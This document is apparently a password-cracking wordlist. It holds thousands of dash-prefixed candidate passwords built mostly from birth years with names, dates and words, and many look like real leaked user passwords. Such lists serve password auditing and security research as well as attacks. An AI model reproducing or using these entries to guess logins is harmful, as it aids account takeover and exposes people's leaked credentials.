-196352 -196373 -196381 -19638484 -1963920 -1963BRD -1963BRUAY -1963bernd -1963bru- -1963comet -1963cs -1963vw -1964 -196400 -19640110lsx -19640310 -19640416 -19640416io16 -19640707 -196409baxs -19641306 -196418 -19641962 -19641964 -19641964Pom -19641970 -19641988 -19641997 -19642000 -19642025 -196424 -196436 -19643722 -1964467 -196469HH -1964711 -1964EP -1964al -1964am -1964bchs -1964cane -1964estupidos -1964invasion -1964llggvv -1964mery -1964mustang -1964pete -1964romeo -1964rt -1964s13w11 -1964xxxdik -1965 -1965000 -196506 -19650711 -19650713 -19650917 -19651 -19651006prof -19651014 -1965102030 -19651220 -1965153 -19651965 -1965196806 -19651971 -19652000 -19652008 -196521 -19653006 -196531 -1965410jun -1965442 -1965480 -196570 -196578 -1965917 -1965AZUL -1965da23de -1965embassy -1965feli -1965ferg -1965hemicuda -1965manfred0523 -1965sm -1965stang -1965suda -1965waterbed -1966 -19660 -196601 -19660214 -19660525 -19660802 -19660821 -19660908 -196612 -196619 -19661966 -19661967 -19661973 -19662410 -19663 -196666 -19666989 -19666isnotcool -19667669 -1966allegria -1966eb -1966goat -1966gto -1966halkez -1966hh -1966hsalf -1966mir -1966mustang -1966torsten -1966vjlxp -1967 -19670308 -19670330 -19670538 -19670703 -196711 -19671102 -19671103mart -19671122Yurchik -19671205 -19671297 -19671304VK -19671606 -19671957 -19671967 -19671967a -19671988 -196726 -19672801c -196739 -19676161isa -196776 -196779 -1967888hycy -1967Stang -1967ana8 -1967cnc -1967cstob -1967gmc350 -1967gto -1967imbituva -1967m -1967marriage -1967moi -1967myphpbb -1967nala -1967ute -1967vvv -1968 -196800 -19680110 -19680121 -19680125 -196803 -19680313 -19680615 -196810 -19681968 -19681972 -19681973 -196820 -19682931 -196836sergey -196840 -1968447immike -196868 -196870 -196872 -196886gc -196893 -196894 -196899 -1968FILIYRAN -1968ageinn -1968aries -1968dylan -1968lambda -1968mano -1968mimimi -1968pengate -1968rpg -1968sally -1968wm300 -1968wolfgang -1968yeliz -1969 -196903 -19690525 -19690707 -19690902 -196911 -19691102 -196912 -19691217 -19691704 -19691969 -196919691969 -19691970 -19691970kvk -19691970makc -196919741998 -19691980 -19691998 -196928genius -19695 -196969 -196975013 -196988 -1969SageFox -1969camaro -1969cina -1969cutlass -1969denis1969 -1969ford -1969hcb1168 -1969hooker -1969jim -1969lr -1969lynn -1969mach1 -1969mpj1969 -1969mustang -1969ns -1969saigon -1969spike -196BDOWI -196a99be -196adc -196mouse -1970 -19700109md -197009 -19700907kat -19701 -19701110 -1970123_85 -197013 -1970160633q -1970163486 -197018 -19701963 -19701970 -197022-x -1970228 -197030 -1970321024 -197056 -19705665 -197070 -197076 -197077 -19708dixon -197095 -1970@cuda -1970@mca! -1970GABI -1970anchhowo -1970and6436 -1970car -1970cel -1970chevell -1970emule -1970franchi -1970gkoo -1970huracan -1970issie -1970maria9 -1970mrlp -1970o1973g -1970paolo -1970rtse -1970sex3112 -1971 -1971.fg -197100 -197101 -19710104good -197103 -19710304 -197106 -19710803 -19710815 -19710824 -19711004 -19711022 -19711031 -1971109micha -197111 -19711110 -197112 -19711219 -197118 -1971196819911996 -19711971 -19711972 -19711974 -19711996 -19712002 -19712004 -19712006 -19712207tomasz -197131 -197171 -1971cabo -1971ford -1971gallina -1971gc -1971juin -1971michel -1971paulo -1971rene -1971sd -1971stone -1971tldc -1972 -1972000000 -19720103ras -19720412ass -197205 -19720716 -19720817lilin -19721007jkl -19721008 -19721209COBRA -19721209STATUS -19721211 -197212489:Z -19721972 -19721972a -19721972sergey -19721980 -19721982 -197225 -197227 -19722fee -1972321972 -197237 -197285 -1972afg03 -1972capp8 -1972chev -1972da -1972gp -1972ipc -1972kr -1972ltrf,hm09 -1972php -1972rudianni -1972sen21 -1972sg200 -1972so -1972tommy -1972vikkie -1973 -1973$ -1973.fed73 -197300 -19730101 -19730211 -19730425 -19730466ab -197305 -19730610 -19730712burik -19730712dima -19730718 -19731014 -19731024 -19731112 -19731207red -19731220 -197313 -19731311 -19731971 -19731973 -19731979 -19732003 -19732005den -197323 -197328 -19732846 -197328465 -197330 -197333 -19733791 -1973456 -197346 -197346123789 -197346551 -19734682 -1973468250 -1973468255q -197346825rotor -197348265 -19735 -197352 -197355 -197356 -1973564 -19735684250 -197368 -197373 -19738246 -197382465 -1973MATT -1973_King -1973ad -1973c1998m -1973dimasel -1973dr1 -1973fofo -1973iman -1973layka -1973timowolf -1974 -197400 -1974000qwer -197401 -19740116 -197401197401 -19740304 -19740325 -19740327 -19740405 -19740509svg -1974079 -19740908 -19740920 -19741012 -197411 -19741127 -197412 -19741234 -197412345 -197412345678 -19741236 -197418 -19741966 -19741974 -19741975 -197419754 -19741978Elanur -19741986 -19742517 -19742828 -19743001dvv -197431 -19743269 -19744 -19744791 -1974708153 -197475 -1974803013 -19748123kukuruz -197483 -197494 -1974bicio -1974bsaw -1974geelong -1974girl -1974goodyear -1974lc -1974luckydog24 -1974viper2412 -1974vjc -1975 -197500 -197502 -19750222 -19750326 -19750331 -197506 -19750611zxs -19750619 -19751005mir -197511 -19751208 -197513 -19751305dave -19751804 -19751970 -19751975 -19751987 -19752000 -19752004 -197522 -1975285isay -197528796274 -197529 -1975290tv -1975303alex -197531 -19753456 -19755210 -197568 -1975912 -19759278 -1975JR -1975Original -1975ckfcnyjd -1975erm -1975gags -1975gmhgreek -1975in -1975joasia -1975lili -1975lp -1975me -1975mel27 -1975nc -1975oa -1975sasa -1975tom888 -1976 -1976%kroi -1976/// -197600 -19760105a -19760107 -19760122 -197602ojk -197603 -19760304nic -19760317 -19760430balu -197605 -19760503 -19760519 -19760521 -19760628 -19760701 -19760912 -19761003222 -19761011 -19761015 -19761213 -1976121475 -197614 -1976159pee -197616felis -19761976 -197619761976 -19761977 -19761979 -19762000 -19762001kn -19762003trustno1 -19762450 -19762605 -19762653 -197630 -19763006kulikov -197631 -197633 -19764242 -197661 -197666 -1976696 -19767325 -197676 -197681 -19768888 -1976DT -1976MM1976MM -1976Mine -1976Pulsar48 -1976a10l03 -1976bhs -1976denz24 -1976feb -1976fj40 -1976guesant1 -1976mjfk -1976nhong -1976payton -1976robert -1976tirimisu -1976virg -1977 -197700 -19770000 -19770318z1 -19770423 -19770601 -19770603 -19770701 -19770808maz -19770818 -19770826cl -197709 -19770906 -19770926 -19770927 -197710 -19771010 -19771023 -19771118 -19771127gbplf -19771214 -1977121m -19771227danila -19771228 -197717 -19771948 -19771977 -197720002004 -19772205 -197723 -19772513 -19773687 -1977412 -197751 -1977523 -19776 -197769 -19777 -1977736 -197777 -197779 -197781 -197785 -197786 -197796 -1977BH1977 -1977_24 -1977adline1977 -1977allan -1977as330 -1977baby -1977cc -1977dc -1977el1998ko -1977jan -1977oli -1977pacoSS -1977sinaulli -1977xreadys -1978 -1978-19 -1978/2000 -197800 -19780101 -197802 -19780215 -19780301 -19780318AS -19780505anton -19780505anton9 -19780626 -197806mert -197807 -19780702 -19780706sim -19780804 -19780810 -197809 -19780920 -19781 -197810 -19781007f -19781012 -19781101 -19781119001@hgl -19781120 -19781123A -19781130 -19781203fuck -19781209 -19781224 -197818 -197818442009 -197819 -19781952 -19781957blak -19781978 -19781978VIT -19781983qwert -19781983rjnz -19781985amore -19781997 -19782012aperik -197822 -19782203f -197823 -19782345 -19782377 -19782602nvv -197835ab -197838 -19784 -197846 -197846lwt -197864 -1978677 -197869 -197878 -197879 -1978815a -1978824grisha -197891 -1978@ana -1978@htc -1978Ladrillo -1978_sikandar -1978alfs -1978anden -1978avg22 -1978foros -1978giusy -1978gzrjgeh -1978logic -1978mel -1978tsai -1978zym621 -1979 -197900 -19790104 -19790121 -19790408 -19790409 -19790420 -19790521 -19790526 -19790602 -19790607 -19790609 -19790610 -19790705 -19790707secu -19790722jgg -19790806 -197909 -19790913 -19790925 -197910203115 -1979112519791128 -1979126 -197913 -1979135 -1979176 -19791793 -197918 -197919 -19791979 -19791980 -19791983 -19791989avgan -19792001kabal -1979207rus -197922 -1979227098 -19792522 -197927 -19793rd -19794011 -1979446G -197949 -1979608adu -19796348456123 -197979 -197981 -197989 -19799 -1979913 -197999 -1979_2007 -1979allen -1979dj -1979es -1979fes -1979flags -1979lftf -1979lor -1979lost -1979magda -1979mmcc25 -1979nut. -1979olympe -1979pl -1979rl -1979sid -1979sleepy -1979verena -1979wolfie -197A -197asn71 -1980 -198000 -19800101 -19800129zbjw -1980022ivan -198004 -19800423temara -19800605 -19800616qaz -19800621 -19800626 -19800711Blp -19801010 -19801012wowan -198011 -1980110 -19801101 -19801105 -19801108 -19801153180789 -198012 -19801201 -19801218 -19801980 -198023 -1980230jk -1980233wer -198025 -19802523 -198026 -19802605 -198027 -198027airliner -198028 -19803006zet -198051 -1980573 -1980592001 -198068gosa -19807bd -198080 -198082 -1980832802 -19808lino -19809306 -1980ELECTRICO -1980aap -1980ale1980 -1980amas -1980baby -1980cj5 -1980cloroformo -1980erwan -1980fashion -1980jb -1980jr -1980mabster -1980pjs -1980sparkey -1980te -1980zer -1981 -1981-portugal -198100 -198101 -198102 -19810217 -198102555415 -19810309 -19810311 -19810313 -19810317 -19810329 -19810507 -19810508 -19810604 -19810609 -19810624 -19810630vas -19810711 -198107280081 -19810821 -19810910vdv -19810921 -19810928 -19810Zax -19811 -19811010 -19811026 -198111 -19811104 -19811116 -19811122 -19811123 -19811124 -19811130 -1981117007 -19811190wl -19811229 -19811405 -19811453 -19811733 -19811954 -19811981 -198119811981 -198119812 -19811981asrin -19811981gh -19811982 -19811982a -19811985gtr -19811986 -19812002 -198123 -198124 -198125 -19812524 -19812626moloko -19812681 -19812712 -1981312 -19813246 -198147ek -1981511 -198169 -19818181 -198182 -1981821 -198188 -198190w -198194732171 -1981Know -1981XXL30 -1981ammd -1981ana -1981bobby196 -1981fafa -1981hogvarz -1981j201981 -1981ls -1981nancy -1981pete -1981ra2004an -1981sebastiano -1981sexcom -1981sonja24 -1982 -19820 -198200 -1982001 -198200c -198201 -19820110 -198202 -19820217 -19820225 -19820309 -198203eeg -198204 -19820424 -19820501 -19820506 -19820513dima -19820519 -19820530 -19820623 -19820626 -19820628 -19820630 -19820702 -19820710 -19820717 -19820803 -198208136633 -19820831 -198209 -19820913 -19820919 -198210 -19821006 -198210kastoras -198211 -19821102 -19821103 -19821117 -19821123 -19821212 -19821219 -19821224 -19821360 -19821606msx1 -198217ilove -198218 -198219 -19821919 -19821981 -19821982 -198219821982 -19821993 -198219ps -19822 -198220 -198221 -19822122 -198222 -198223 -1982231222G -198224 -19822406 -198225 -198226 -19822891 -19823 -1982312 -19824002 -198241 -1982411 -198250 -1982519519825195 -19826072 -1982612 -198268 -198273456 -198273qin -19828140 -198282 -1982830 -19828598 -198288 -1982921 -1982928 -1982964 -1982SOL -1982ac -1982april27 -1982ashish -1982chad -1982coll -1982corina -1982cse -1982geberit -1982gonzo -1982gp -1982jaytee -1982justin -1982keklen -1982mateos -1982megan -1982ppp -1982rat -1982rhs -1982rm -1982rt -1982sdfx -1982simpatico -1983 -1983+ -198300 -19830000 -19830101 -19830112 -19830114 -19830119 -19830123 -19830125lhg -19830127por -19830216 -19830217 -19830301 -19830326 -19830408 -19830412 -19830415 -198304305967 -19830504 -19830508 -19830510 -19830523 -19830604 -19830608 -19830714 -198307305025 -19830811 -19830814 -1983086 -198310 -19831021YANG -19831026 -1983107 -198311 -19831104 -19831106 -19831113 -19831116 -19831129victor -198312 -19831220hk -19831222 -19831225 -19831229 -1983128 -198314 -198316 -198317 -198319 -19831966ATX -19831980skorpion -19831982 -19831983 -19831985 -19831989 -198321 -1983211 -1983212 -198322 -19832212 -198323 -198324 -198325 -19832526 -19832601762220 -19832602stas -198326683 -198327 -198327bogdan -19833 -1983354aas -19835119 -198352 -198357 -198364 -19837262 -198374 -198377 -198383 -19838383 -1983919 -1983921Xhl -1983_an -1983aLLuS -1983aquarios -1983fktrc04 -1983james -1983jl -1983jln -1983kam -1983llll -1983pm -1983stoilo1983 -1983sven -1983tbird -1983tfs -1983wl24 -1984 -198400 -19840000 -198401 -19840105gti -19840122 -19840127 -19840128 -198402 -19840201 -19840213 -19840226bes -198403 -19840301qwerty -1984030815 -19840312 -19840319 -19840401bb -19840404 -19840426 -19840428 -198405 -19840510 -19840525 -19840613 -198407 -19840707 -19840801 -19840812 -19840818 -19840821 -19840824 -19840904 -19840909fl -19840926039 -198410 -19841001 -19841011 -19841012 -19841018 -19841019 -19841027yujing -19841030 -198411 -19841106 -19841120 -198411220022 -198412 -19841201 -19841205 -19841214 -198412180 -19841219 -19841229 -19841255 -19841363 -19841364 -198416 -198417 -198418 -198419 -19841925 -19841983 -19841984 -19841985 -19841987 -19841988 -19841994 -198420 -19842001 -19842002sevi -19842003 -19842005 -19842005LSD -19842006 -198421 -198421222324 -198422 -19842205 -198423 -198424 -19842418 -198425 -19842527 -198426jekos -19842704 -198428gold19 -198430 -1984316 -198437 -19844182 -198444 -19844445 -198448 -19844891 -198455 -1984552 -19845666 -1984567 -198456johnny -1984573 -198459 -19846687 -198467 -1984723 -198474 -1984805805 -198486 -198488 -198489 -198495 -1984990 -1984Chlambert -1984ClaRa -1984ESC -1984OSst -1984aad1984aad -1984aglaya02 -1984ameen2 -1984bd -1984becky -1984cem -1984destiny -1984ford1981 -1984go -1984gogi -1984jul -1984kecske -1984meran -1984minka -1984mk -1984moosac -1984mori -1984php -1984rene187 -1984roxy -1984sa -1984sandra -1984skate -1984star -1984vince -1984xltt -1984ysoh -1985 -198500 -1985000 -19850000221 -19850101 -19850114tr -19850128nazar -198502 -19850219 -198502222519 -198503 -19850301 -19850312valb -19850313 -19850319 -19850323 -19850415 -19850419 -19850422 -19850428nini -19850429 -198505 -19850505 -19850507 -19850519 -19850522 -19850563 -198506 -19850607 -19850609 -198507 -19850707 -1985071 -19850728 -198508 -19850821 -19850916 -19850927 -198510 -198510226932 -19851026 -198511 -19851112 -19851122 -19851123 -198512 -19851203 -19851215 -19851217 -19851224 -19851230 -198515 -19851593 -198517 -198518 -198518041255 -198519 -19851905 -19851962 -19851978 -19851985 -198519851985 -19851990ar -198520 -198521 -19852105 -198522 -198523 -19852343 -198523asz -19852468303 -198525 -19852512poc -19852528 -198526 -198527 -19852811assi -198529241408 -1985352 -19853674 -19853799 -198546 -19855 -1985512411cz -1985523 -198554 -198555 -198555198555 -1985628 -198564 -1985654 -19856665 -1985694963 -1985710 -198577 -198585 -1985A.M -1985BartasBartez -1985G06M06D -1985Lbvfcool -1985abc -1985alex -1985an -1985beer -1985benoit -1985e2 -1985hent -1985kea1712 -1985lk21752 -1985pieter -1985puaspaz -1985pz480 -1985ra -1985riza -1985rok -1985rose1985 -1985ttt1984 -1985umc -1985vb231 -1985xxx -1986 -198600 -198601 -19860111 -198602 -19860216 -19860318 -19860318@tum -198604 -19860422 -198605 -19860512 -198606 -19860602 -19860670 -19860715 -19860716 -19860721 -198608 -19860810 -19860820 -19860821 -198609 -19860901 -19860911 -19860919water -198610 -1986100 -19861005 -19861012 -1986101230 -1986102 -19861020yang -19861028 -198611 -1986110011 -19861103 -19861110 -19861118 -19861127 -1986112lxl -1986117 -198612 -19861215 -19861219 -19861219houwei -198613 -19861407 -198615 -198617 -19861712000 -198618 -1986183+ -198619 -19861905 -19861940 -19861969 -19861980 -19861983kit -19861986 -1986198686 -19861986th -198620 -198621 -198622 -198623 -198624 -198625 -198625pla -198626 -198627 -198629110qwerty -19863010901986 -1986304erik -19863105 -198633 -198638005321-q -19864270 -198643 -19864435liang -198649 -1986547 -198656 -19866430461 -198665 -198666 -19866891 -1986689104041986 -198677 -198678200 -19868 -198682 -198686 -19868686 -1986891 -198689huang -198691 -19869125 -19869210 -198694 -1986963***/- -1986Amw1 -1986GIN19 -1986aap -1986abc -1986anm -1986armendii -1986gahg -1986koenig -1986lipa -1986love -1986max -1986mel -1986ny -1986pd -1986pedretos -1986sg -1986usaf -1987 -1987! -1987-sherlock -198700 -19870012mo -19870108 -19870120 -19870127 -198702 -19870205 -19870211Hotboy -198702235 -198702280 -198703 -19870306 -19870309 -19870320 -198704 -1987040 -19870402hev -19870420 -19870427 -198705 -19870505 -19870523 -198706 -19870603 -198706052019 -19870606sant -19870611 -19870626 -19870628 -198706ancelm -198707 -198708 -19870806 -19870819 -19870829 -198709 -19870903 -19870913543521 -19870917 -198710 -19871001 -19871003 -19871009.v -19871014 -19871024 -19871025 -198711 -19871107 -19871109 -1987111 -19871117 -198712 -19871201 -19871206 -19871216 -19871225 -1987123 -19871230 -198712stas03 -198713 -19871312 -198714 -19871488qwerty -198715 -19871504 -198716 -198717 -198718 -198719 -19871903 -19871985 -19871987 -198719870 -1987198712 -198719871987 -19871997 -19872 -198720 -19872000 -19872003 -19872004 -19872006 -19872007 -19872008 -198720164012 -19872020 -198721 -198722 -198722pe4x -198723 -198724 -198725 -19872530 -19872606 -198729 -198730 -1987305 -1987323 -1987342057 -19873rdapril -198741 -1987456 -19875 -1987510 -19875262 -19875300 -19875666 -1987615738 -1987654 -198769 -198777 -19877891 -19878356 -198785 -198787 -198788 -198789125 -19878963 -19879 -1987928s4 -19879427 -1987Dogkno -1987DumaS -1987MT -1987adla -1987alex -1987anime -1987ayman -1987chick -1987dani -1987dart09 -1987dede -1987dj -1987eh -1987gh -1987gottardi -1987k13o2r -1987ka -1987lr -1987mar30 -1987marci -1987pato -1987taner -1987vishago -1987wowo -1987xx -1987yura -1987zag -1988 -1988.+- -198800 -1988007 -198800c -198801 -19880108 -1988011 -19880125mty -19880126 -19880130 -19880213 -19880215 -19880216736 -19880221 -19880301 -19880303 -198803091121 -19880317 -19880322 -19880323 -198804 -19880425 -198805 -198806 -19880601 -19880610 -19880621 -19880623 -198807 -19880729 -198808 -19880801 -19880821 -198809 -19880907 -19880912zql -19880918 -19880920heni -19880923 -19880988 -198810 -19881002 -19881013 -19881018 -19881025 -1988104 -198811 -198812 -19881210 -19881212 -1988125 -198813 -198813welcome -198814 -198815 -198816 -19881601 -198817 -198818 -198819 -19881905 -19881908 -19881959 -19881961 -19881967 -19881972 -19881988 -19881991 -19881993igu -198820 -19882000 -198821 -198822 -198823 -198824 -19882409 -19882410 -198824fmi -198825 -1988257 -198826 -198827 -19883066 -19883112 -1988519563546 -19885417 -198856 -1988619 -19887290 -198873 -19888 -198881 -198883 -198888 -19888891sex -198890 -198893t -198895 -1988South -1988_eu -1988a -1988bbr -1988chicco -1988dede88 -1988eden -1988ennemike -1988fotos -1988giadina -1988hur -1988joco -1988july -1988karan -1988kbl -1988ktynfvtbbecf -1988kyle -1988lady -1988marta -1988mh -1988neh -1988s -1988sunshine26 -1988tf76 -1988zook -1989 -19890 -198900 -1989000 -19890108 -1989011 -19890111 -19890113p513 -19890115 -19890156zfr -198902 -19890202 -198902020588 -19890207 -198902102025 -19890212 -19890214 -19890216 -19890224 -198903 -19890303 -19890303mm -19890309jc -19890327 -198903ricky -198904 -198905 -19890520 -198906 -19890601 -19890604 -19890612 -19890615 -19890622 -198907 -19890709 -19890714 -19890719 -198908 -1989081228666 -19890828 -198909 -19890911 -19890911aa -19890925 -19891 -198910 -19891004 -19891015 -19891022 -19891028 -198911 -19891106 -19891108 -19891112 -19891178 -198912 -19891221 -19891226 -198913 -198914 -198915 -1989156 -198916 -198917 -198918 -198919 -19891937 -19891980 -19891985tina -19891986 -19891989 -198919891989 -19891989o -198920 -19892004alex -1989200700 -19892011 -198921 -198922 -198922179 -198923 -19892302 -198924 -198925 -198926 -198927 -198928 -198929 -1989291 -19893012 -1989304.e -198933fr -19893407 -198943 -198953 -198955 -198961 -198969 -1989698250 -1989723 -198974 -1989818 -198989 -1989890 -19899 -198995 -19899891 -198998ib -198999 -1989BLUE -1989Kaalikas -1989ali## -1989beto -1989crx -1989ds2004 -1989easyaspie -1989eyuij -1989faniel1989 -1989fordvan -1989irocz28 -1989jac -1989nuts -1989okt20 -1989pony -1989rex -1989tyson -1989uk -1989vithal -198faraji4 -198mu8fc -198qK6V614 -198rio -1990 -1990 09 27 -1990.fr -19900 -199000 -1990012901 -1990020819 -199002g -19900301 -19900307 -19900323 -19900403 -19900409 -19900424 -199005 -19900522 -19900603 -19900625 -19900702 -19900723 -19900814 -19900828 -1990090 -19900907 -19900908 -19900911 -19900929 -19900991 -199010 -19901002 -19901005 -199010081280 -19901010 -19901022 -19901050 -199011 -19901115 -19901123 -199012 -19901201318 -19901203etcg -19901218 -199012m -199013 -199014 -199015 -19901513 -199015199015 -199016 -199017 -199017slava -199018 -19901809 -199019 -19901905 -19901951 -19901985 -19901986 -19901990 -19901991 -19901996 -19902 -199020 -19902004 -19902009 -199021 -199022 -199023 -199025 -19902605 -199027 -19902808l -19902812 -199029 -19902915 -19903 -199030 -19903911 -1990465322782 -1990524 -19906410 -199065 -1990697693 -199073 -19907carter -199081 -199087 -19909066 -1990ais1990 -1990ba -1990boat -1990camry -1990daphneaafjes -1990dav -1990ed210 -1990hhhh -1990ina2306 -1990lacarter -1990marty -1990mazda -1990nastya -1990pok45 -1990si -1990sy -1990wilsons2000 -1990yo -1991 -1991,02,08 -1991/05/20 -199100 -199101 -19910101 -19910110 -199102 -19910202 -19910220 -199102318026 -199103 -19910301 -1991031 -199103212560 -19910323 -199104 -19910409 -19910421 -199105 -19910507d -199106 -19910605 -19910606 -1991061012369 -19910616075 -19910627juin -19910629 -199107 -19910708 -199108 -199108104366 -19910818 -19910830 -19910831 -199109 -19910904.com -19910917 -19910921 -19911 -199110 -19911006 -19911014 -199110pa -199111 -19911102 -19911104 -19911108bzs -199111160371 -19911118 -199112 -19911212 -199113 -199113130@@@ -199114 -199115 -199116 -199117 -199117oct -199118 -199119 -19911929 -19911989 -19911991 -199119911991 -199120 -199121 -199122 -19912203 -199123 -19912368 -199124 -199125 -19912504 -199126 -199127poko -199128 -199129 -19913 -199130 -199131 -1991321 -19913601 -19914109113638 -199142 -1991514 -199155 -1991613405 -19916270SpO -1991678 -199186 -199190 -1991963 -1991984 -1991988 -199199 -1991991 -1991AWB -1991Bigfm -1991GS -1991MARK1991 -1991a1 -1991apa -1991blondy -1991bussile -1991cj -1991colt -1991curtis -1991dhanss -1991dj -1991flo -1991fuck -1991haslopawla -1991joi -1991kirk -1991lmm -1991martel1991 -1991mezik0 -1991miki -1991miriam -1991mjg -1991pmoy -1991poldo -1991prelude -1991sanfermin -1991sooty -1991wala -1991waltie -1992 -1992 gerrit -19920 -199200 -199201 -199202 -19920220 -199203 -199203nasa -19920402 -19920426 -199205 -19920502 -19920522 -199206 -19920627 -19920726xx -199208 -19920810 -199209 -19920925ja -19920tm -199210 -19921034 -199211 -19921106 -19921110gta4 -19921124 -199212 -19921209 -19921215 -199213 -199214 -19921405 -199215 -19921508 -199216 -199217 -199217jh -199218 -199219 -19921933 -19921983 -19921992 -199219921307 -19921994 -19921994xlr2 -19921997a -19921998 -19922 -19922000 -199220706 -199222 -199223 -1992234 -199224 -199225 -199226 -199228 -199229 -199230 -1992403749 -1992442 -19924ever -19924u -19925 -1992513fldf -199255 -1992611 -1992716 -199272 -1992723 -199292 -19929460274 -1992arayugi -1992arnal -1992baby -1992bore -1992danny -1992fe -1992foxmox -1992girl -1992jonte -1992kaos -1992liisaa -1992lucylito -1992october -1992patate -1992undertaker -1992wat -1993 -1993 11 19 -1993,12,07 -1993.06.10. -1993.luty -1993/5/17 -199300 -19930109 -19930113 -19930215 -19930229?%^ -199303240866 -19930418 -199305 -199306 -19930601 -199306173429 -19930628 -199308 -19930805 -19930911 -199310 -19931011 -19931012 -19931028 -19931031 -1993106 -199311 -19931114 -199311157722 -199312 -19931207 -19931215 -1993122005 -19931222a -19931248 -199313 -199314 -199315 -199316 -199317 -199318 -19931805 -199319 -19931907 -19931912 -19931993 -199320 -199321 -19932112t -19932128 -199321355 -199322 -199323 -199324 -199325 -199326 -199328 -199329 -199329BH -19933 -199330 -199331 -1993344 -19933838 -19933991 -199342 -1993421 -199373626 -199375663314 -199393 -199394 -1993Homie -1993alg -1993am -1993amstel -1993enbryo -1993eym07 -1993fe -1993fxdl -1993jl$ -1993jonte -1993majola1993 -1993mazdaMx6 -1993mouton -1993mx6 -1993om13 -1993seba -1993tbird -1993xx -1993xxxx -1994 -1994*x-men -1994+09+10+ -199400 -199401175063 -19940307 -19940416 -19940424a -199405 -19940509 -19940531 -199406 -19940628 -199407 -19940718 -199408 -19940814 -19940816 -19940817 -19940930 -199410 -199410W -199411 -19941112 -19941124igorek -199411314 -199412 -19941219 -1994123bogis -199413 -199414 -199415 -199416 -199417 -199418 -199419 -1994190523 -19941960 -19941992 -19941994 -199419941994 -19941994radek -19941994yuri -19941995 -19941999 -199420 -19942007 -199421 -199422 -199423 -199424 -199425 -199426 -199427 -199428 -19943049baby -19943245 -199432994DN -1994487ilhami -1994555 -199456325817 -199459 -199466gn -199494 -199499951094 -1994antoine -1994dogycd -1994heraiz -1994hottie -1994hr -1994leo -1994lt1 -1994mlprst -1994mrr -1994qbz28 -1994rrs -1994sammy -1994selcuk2006 -1994timi0816 -1995 -1995-1967 -199500 -19950105 -1995012 -19950123edwin -19950311 -199505 -199505114984 -199505294109 -19950612 -19950620 -199507 -19950705 -19950744 -199510 -19951016 -199511 -19951113 -199512 -19951220081 -199513 -199513am -199514 -199515 -199516 -199518 -199519 -199519851994 -19951995 -199520 -199521 -19952104 -199522 -199523 -199524 -19952624 -199527 -199528 -19955991 -199562po -199581 -1995875a -199590a -199595 -1995951995 -199596 -1995ADNan -1995Domde -1995Hg -1995KM -1995_nile -1995david -1995djdfyf -1995gb2a20137 -1995jeep -1995lf -1995mp123 -1995nikit@2009 -1995noel -1995ola -1995oleta -1996 -1996-1996 -1996.04.21 -199600 -1996012012018 -199604288457 -199605 -199605315127 -1996055 -19960628 -199608 -199609 -199610 -199611 -199612 -19961229 -199613 -19961304 -1996141 -199615180 -1996174 -199619075 -19961996 -1996210 -1996227 -199623 -199625 -199625n -19964459 -199654 -1996550 -1996622 -19967cp -199688 -1996acul -1996fhbj123 -1996fpg -1996lbdpik -1996mayo30_7 -1996pawel -1996ra -1996rcm -1996wyhuijia -1997 -19970208 -19970227 -19970416 -199704803 -19970519 -19970609rrr -19970905 -199709089040 -19971006 -1997109838 -19971997 -19972000 -19972004 -1997201012 -1997206 -19972308vvv -1997239 -1997360 -199742 -19974tomjess -199767 -19977 -1997703 -199771 -199776 -199789 -199797 -1997HC -1997Slava1997 -1997antwon -1997dk -1997isbest -1998 -19980 -199800 -19980052 -199801 -19980405 -19980525-maj -19980626as -19981218 -19981998 -19981999 -199821 -19983105 -19983108DK -1998369 -1998576533 -19986 -1998877 -1998BOO -1998chase -1998dffan -1998fatboy -1998flexyxj -1998gts -1998loic -1998mariober -1998rl -1998rok -1998spiderman -1999 -1999000 -199904 -19990407 -199905 -199911 -199913 -19991733 -19991999 -199921 -19992500 -1999358 -1999666 -19997 -1999813 -1999841614 -19999 -199993511 -199999 -1999993dav -19999991 -1999C@maro -1999akim1999 -1999ali -1999baby -1999bb -1999bmwbmw -1999caoo -1999clara -1999gd4wd -1999m -1999noah -1999prelude -1999tizi -1999xslo -199P9FF3 -199QQXWT53 -199z68yz -19@10@1982 -19@wKGB -19AMBATEI46 -19Andre83 -19Aventurien90 -19BGqys426 -19C05FAE -19ChellO72 -19DJZ4c555 -19DMO8WG -19Delfina89 -19DisSquall99 -19FL!GH -19FLORIAN97 -19FSzTm -19G05f1971 -19GI12BA -19Glory80 -19Gramonisch71 -19Heilbronn -19IRTIMID71 -19Ifbbdj82 -19JUNIO2004 -19Joker80 -19Juergen90 -19KME82 -19Kaiman51 -19Kreta90 -19L12SJT -19Lana7790 -19Lb87Wb -19Luna11042 -19M22A14E -19MARS1949 -19MAV71BB -19MOUTONS83 -19Mai1970 -19MaxImal94 -19Mizo21 -19NamKy7 -19NightfevEr -19Nik73 -19NkekJ -19Opel70 -19Password83 -19Pit210797 -19Postman -19Psycho78 -19Quentin92 -19RA92NU -19RFsJa -19Rudern84 -19SA45ra -19SadFad85 -19Stang66 -19Stefano87 -19Svarc66 -19SxDXfn -19T3b1 -19Tessa1994 -19Th.52345093! -19Thvfr76 -19Timmi5023 -19ToNyA74 -19Truman87 -19TyPhoon64 -19Ulli83 -19VANIT -19XAVIER68 -19XF}Z3 -19ZVbMJC -19a09t1994 -19a4567b -19a47b12z -19a8b0l15h -19aXT92 -19abwork73 -19aej93 -19aemaeth85 -19alv44 -19amber30on -19amber84 -19ams85 -19angel56 -19anime78 -19anni69 -19apr88 -19april63 -19ardc05 -19asesino85 -19ashy6347 -19atdhfkz1989 -19augbahnhof -19august -19avril! -19avril1994 -19ayuready80 -19azgunner09 -19babisgeo -19baer97 -19barbara58 -19basilcat49 -19basti.2008 -19batiby65 -19bazar50 -19bean68 -19bechty81 -19berthold66 -19bi56 -19bindi. -19bine07 -19bird61 -19bitch93 -19bozen47 -19brave -19bruno19 -19bubu432 -19bukkake77 -19bully05 -19butcher -19c17947303 -19ca53 -19cabrio05051985 -19candy63 -19cdyp -19centauer52 -19chan76 -19chomik20 -19ciai58 -19cimbom82 -19cirrus86 -19cka66 -19clayren73 -19cobra10 -19cologne81 -19comjoght -19crab50 -19cracovia86 -19ctr91 -19cyrus82 -19d0ua1 -19d12e93n -19d36ea -19daca05 -19daiano58 -19dakine777 -19davids -19dbnz1982 -19dbrefa62 -19dbtrdbtr -19de05bb88i -19de05bb88ie -19de481g -19dec74 -19deeveedee73 -19degrees -19deubig83 -19dexter67 -19deynlock -19dmfima -19dobler80 -19doenerplanet -19due60 -19ec89 -19eightyseven -19el25021960 -19elagrange007 -19elfio2004 -19ella92 -19elling74 -19encarf76 -19epyonsend -19ergru56 -19erin79 -19erwahn77 -19esiu20 -19eulesch92 